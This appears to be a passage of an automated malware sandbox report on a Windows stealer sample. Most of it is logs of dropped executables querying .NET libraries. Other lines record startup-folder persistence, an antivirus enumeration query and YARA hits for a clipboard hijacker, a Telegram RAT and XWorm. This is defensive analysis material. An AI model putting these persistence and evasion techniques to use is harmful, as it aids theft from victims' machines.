Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Threading.ThreadPool.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Threading.ThreadPool\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Threading.ThreadPool.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Threading.Timer.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Threading.Timer\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Threading.Timer.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ValueTuple.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ValueTuple\v4.0_4.0.0.0__cc7b13ffcd2ddd51\System.ValueTuple.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.ApplicationServices.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.ApplicationServices\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.ApplicationServices.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.DataVisualization.Design\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.DataVisualization.Design.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.DataVisualization.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.DataVisualization\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.DataVisualization.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.DynamicData.Design.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.DynamicData.Design\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.DynamicData.Design.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.DynamicData.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.DynamicData\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.DynamicData.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.Entity.Design.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Entity.Design\v4.0_4.0.0.0__b77a5c561934e089\System.Web.Entity.Design.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.Entity.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Entity\v4.0_4.0.0.0__b77a5c561934e089\System.Web.Entity.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions.Design\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.Design.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.Mobile.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Mobile\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.Mobile.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.RegularExpressions\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.RegularExpressions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Routing\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Routing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.Services.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Windows.Forms.DataVisualization.Design.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms.DataVisualization.Design\v4.0_4.0.0.0__31bf3856ad364e35\System.Windows.Forms.DataVisualization.Design.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Windows.Forms.DataVisualization.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms.DataVisualization\v4.0_4.0.0.0__31bf3856ad364e35\System.Windows.Forms.DataVisualization.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Workflow.Activities.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Workflow.ComponentModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Workflow.ComponentModel\v4.0_4.0.0.0__31bf3856ad364e35\System.Workflow.ComponentModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Workflow.Runtime.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Workflow.Runtime\v4.0_4.0.0.0__31bf3856ad364e35\System.Workflow.Runtime.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Xaml.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xaml\v4.0_4.0.0.0__b77a5c561934e089\System.Xaml.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Xaml.Hosting.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xaml.Hosting\v4.0_4.0.0.0__31bf3856ad364e35\System.Xaml.Hosting.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.XML.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Xml.Linq.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml.ReaderWriter\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Xml.ReaderWriter.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Xml.Serialization.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml.Serialization\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Serialization.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml.XDocument\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Xml.XDocument.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Xml.XmlDocument.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml.XmlDocument\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Xml.XmlDocument.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml.XPath\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Xml.XPath.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\webengine.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\webengine4.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\WMINet_Utils.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\WorkflowServiceHostPerformanceCounters.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\XamlBuildTask.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\XamlBuildTask\v4.0_4.0.0.0__31bf3856ad364e35\XamlBuildTask.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\XsdBuildTask.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\XsdBuildTask\v4.0_4.0.0.0__31bf3856ad364e35\XsdBuildTask.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ohvrxt.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\hgzxhw.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AdoNetDiag.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\alink.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Aspnet_perf.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrcompression.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clretwrc.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\compatjit.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Culture.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfdll.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\EventLogMessages.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FileTracker.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtilLib.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\ISymWrapper\v4.0_4.0.0.0__b03f5f7f11d50a3a\ISymWrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\ISymWrapper\v4.0_4.0.0.0__b03f5f7f11d50a3a\ISymWrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\ISymWrapper\v4.0_4.0.0.0__b03f5f7f11d50a3a\ISymWrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Activities.Build.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Activities.Build\v4.0_4.0.0.0__31bf3856ad364e35\Microsoft.Activities.Build.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Conversion.v4.0\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Conversion.v4.0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Engine\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Engine.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Framework\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Tasks.v4.0\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Tasks.v4.0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Utilities.v4.0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Build.Utilities.v4.0\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Utilities.v4.0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Internal.Tasks.Dataflow.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.JScript.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.JScript\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.JScript.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Transactions.Bridge.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Transactions.Bridge\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Transactions.Bridge.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Transactions.Bridge.Dtc\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Transactions.Bridge.Dtc.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Transactions.Bridge.Dtc\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Transactions.Bridge.Dtc.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Transactions.Bridge.Dtc\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Transactions.Bridge.Dtc.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.VisualBasic.Activities.Compiler\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.Activities.Compiler.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.VisualBasic.Activities.Compiler\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.Activities.Compiler.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.VisualBasic.Compatibility.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic.Compatibility.Data\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.Compatibility.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic.Compatibility\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.Compatibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualC\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualC.Dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.VisualC.STLCLR.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualC.STLCLR\v4.0_2.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualC.STLCLR.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Win32.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Win32.Primitives\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Win32.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Windows.ApplicationServer.Applications.dll VolumeInformation

Source: C:\Windows\System32\svchost.exe

Code function: 2_2_00000142DB147960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

2_2_00000142DB147960

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe

Code function: 16_2_00007FF7FE544AC0 memset,GetVersionExW,memset,GetSystemDirectoryW,lstrlenW,lstrlenW,LoadLibraryW,GetProcAddress,FreeLibrary,

16_2_00007FF7FE544AC0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: jsc.exe, 00000003.00000002.3900986215.00000000012D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 12.2.aspnet_wp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.spczxf.exe.1a4c3fbeb00.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.spczxf.exe.1a4c3f601c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1738420103.000001A4C3F01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: spczxf.exe PID: 2908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_wp.exe PID: 1340, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spczxf.exe PID: 2908, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, type: UNPACKEDPE
